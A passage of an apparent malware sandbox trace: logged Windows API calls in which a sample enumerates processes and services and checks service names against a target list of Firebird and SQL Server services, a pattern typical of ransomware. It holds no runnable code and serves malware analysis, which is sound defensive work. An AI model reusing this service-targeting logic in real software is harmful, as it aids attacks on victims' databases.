(lpString="services.exe") returned 12 [0146.574] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0146.574] lstrlenW (lpString="lsass.exe") returned 9 [0146.574] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0146.575] lstrlenW (lpString="lsm.exe") returned 7 [0146.575] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.575] lstrlenW (lpString="svchost.exe") returned 11 [0146.575] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.575] lstrlenW (lpString="svchost.exe") returned 11 [0146.575] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.576] lstrlenW (lpString="svchost.exe") returned 11 [0146.576] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.576] lstrlenW (lpString="svchost.exe") returned 11 [0146.576] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.576] lstrlenW (lpString="svchost.exe") returned 11 [0146.576] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0146.577] lstrlenW (lpString="audiodg.exe") returned 11 [0146.577] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.577] lstrlenW (lpString="svchost.exe") returned 11 [0146.577] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.577] lstrlenW (lpString="svchost.exe") returned 11 [0146.577] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0146.578] lstrlenW (lpString="spoolsv.exe") returned 11 [0146.578] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0146.578] lstrlenW (lpString="taskhost.exe") returned 12 [0146.578] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.578] lstrlenW (lpString="svchost.exe") returned 11 [0146.578] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0146.579] lstrlenW (lpString="userinit.exe") returned 12 [0146.579] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0146.579] lstrlenW (lpString="dwm.exe") returned 7 [0146.579] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0146.579] lstrlenW (lpString="explorer.exe") returned 12 [0146.579] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0146.580] lstrlenW (lpString="3G6885.exe") returned 10 [0146.580] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0146.580] lstrlenW (lpString="reader_sl.exe") returned 13 [0146.580] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="drvinst.exe")) returned 1 [0146.580] lstrlenW (lpString="drvinst.exe") returned 11 [0146.580] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0146.581] lstrlenW (lpString="taskhost.exe") returned 12 [0146.581] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0146.581] CloseHandle (hObject=0x358) returned 1 [0146.581] Sleep (dwMilliseconds=0x1f4) [0147.481] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3af1cf0 [0147.482] EnumServicesStatusExW (in: hSCManager=0x3af1cf0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0147.482] GetLastError () returned 0xea [0147.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x113e) returned 0x41c32b0 [0147.482] EnumServicesStatusExW (in: hSCManager=0x3af1cf0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41c32b0, cbBufSize=0x113e, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41c32b0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0147.483] CloseServiceHandle (hSCObject=0x3af1cf0) returned 1 [0147.483] lstrlenW (lpString="Appinfo") returned 7 [0147.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0147.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0147.484] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0147.484] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0147.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0147.484] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0147.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0147.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0147.484] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0147.484] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0147.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0147.484] lstrlenW (lpString="AudioSrv") returned 8 [0147.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0147.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0147.484] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0147.484] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0147.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0147.484] lstrlenW (lpString="BFE") returned 3 [0147.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0147.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0147.484] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0147.484] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0147.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0147.484] lstrlenW (lpString="CryptSvc") returned 8 [0147.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0147.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0147.484] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0147.484] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0147.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0147.485] lstrlenW (lpString="CscService") returned 10 [0147.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0147.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0147.485] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0147.485] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0147.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0147.485] lstrlenW (lpString="DcomLaunch") returned 10 [0147.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0147.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0147.485] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0147.485] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0147.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0147.485] lstrlenW (lpString="Dhcp") returned 4 [0147.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0147.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0147.485] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0147.485] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0147.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0147.485] lstrlenW (lpString="Dnscache") returned 8 [0147.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0147.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0147.485] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0147.485] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0147.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0147.485] lstrlenW (lpString="DPS") returned 3 [0147.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0147.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0147.486] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0147.486] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0147.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0147.486] lstrlenW (lpString="eventlog") returned 8 [0147.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0147.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0147.486] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0147.486] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0147.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0147.486] lstrlenW (lpString="EventSystem") returned 11 [0147.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0147.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0147.486] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0147.486] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0147.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0147.486] lstrlenW (lpString="gpsvc") returned 5 [0147.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0147.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0147.486] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0147.486] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0147.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0147.486] lstrlenW (lpString="iphlpsvc") returned 8 [0147.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0147.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0147.487] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0147.487] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0147.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0147.487] lstrlenW (lpString="LanmanServer") returned 12 [0147.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0147.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0147.487] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0147.487] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0147.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0147.487] lstrlenW (lpString="LanmanWorkstation") returned 17 [0147.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0147.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0147.487] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0147.487] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0147.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0147.487] lstrlenW (lpString="lmhosts") returned 7 [0147.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0147.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0147.487] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0147.487] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0147.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0147.487] lstrlenW (lpString="MMCSS") returned 5 [0147.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0147.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0147.487] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0147.487] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0147.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0147.488] lstrlenW (lpString="MpsSvc") returned 6 [0147.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0147.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0147.488] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0147.488] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0147.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0147.488] lstrlenW (lpString="Netman") returned 6 [0147.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0147.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0147.488] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0147.488] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0147.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0147.488] lstrlenW (lpString="netprofm") returned 8 [0147.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0147.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0147.488] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0147.488] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0147.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0147.488] lstrlenW (lpString="NlaSvc") returned 6 [0147.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0147.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0147.488] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0147.488] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0147.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0147.488] lstrlenW (lpString="nsi") returned 3 [0147.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0147.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0147.489] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0147.489] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0147.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0147.489] lstrlenW (lpString="PcaSvc") returned 6 [0147.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0147.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0147.489] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0147.489] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0147.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0147.489] lstrlenW (lpString="PlugPlay") returned 8 [0147.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0147.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0147.489] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0147.489] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0147.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0147.489] lstrlenW (lpString="Power") returned 5 [0147.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0147.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0147.489] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0147.489] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0147.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0147.489] lstrlenW (lpString="ProfSvc") returned 7 [0147.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0147.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0147.489] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0147.489] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0147.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0147.490] lstrlenW (lpString="RpcEptMapper") returned 12 [0147.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0147.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0147.490] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0147.490] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0147.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0147.490] lstrlenW (lpString="RpcSs") returned 5 [0147.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0147.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0147.490] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0147.490] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0147.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0147.490] lstrlenW (lpString="SamSs") returned 5 [0147.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0147.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0147.490] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0147.490] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0147.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0147.490] lstrlenW (lpString="Schedule") returned 8 [0147.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0147.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0147.490] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0147.490] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0147.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0147.490] lstrlenW (lpString="SENS") returned 4 [0147.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0147.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0147.491] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0147.491] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0147.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0147.491] lstrlenW (lpString="ShellHWDetection") returned 16 [0147.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0147.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0147.491] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0147.491] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0147.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0147.491] lstrlenW (lpString="Spooler") returned 7 [0147.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0147.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0147.491] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0147.491] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0147.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0147.491] lstrlenW (lpString="SysMain") returned 7 [0147.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0147.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0147.491] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0147.491] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0147.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0147.491] lstrlenW (lpString="Themes") returned 6 [0147.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0147.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0147.491] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0147.491] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0147.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0147.492] lstrlenW (lpString="TrkWks") returned 6 [0147.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0147.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0147.492] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0147.492] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0147.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0147.492] lstrlenW (lpString="UxSms") returned 5 [0147.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0147.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0147.492] lstrcmpiW (lpString1="sqlwriter", 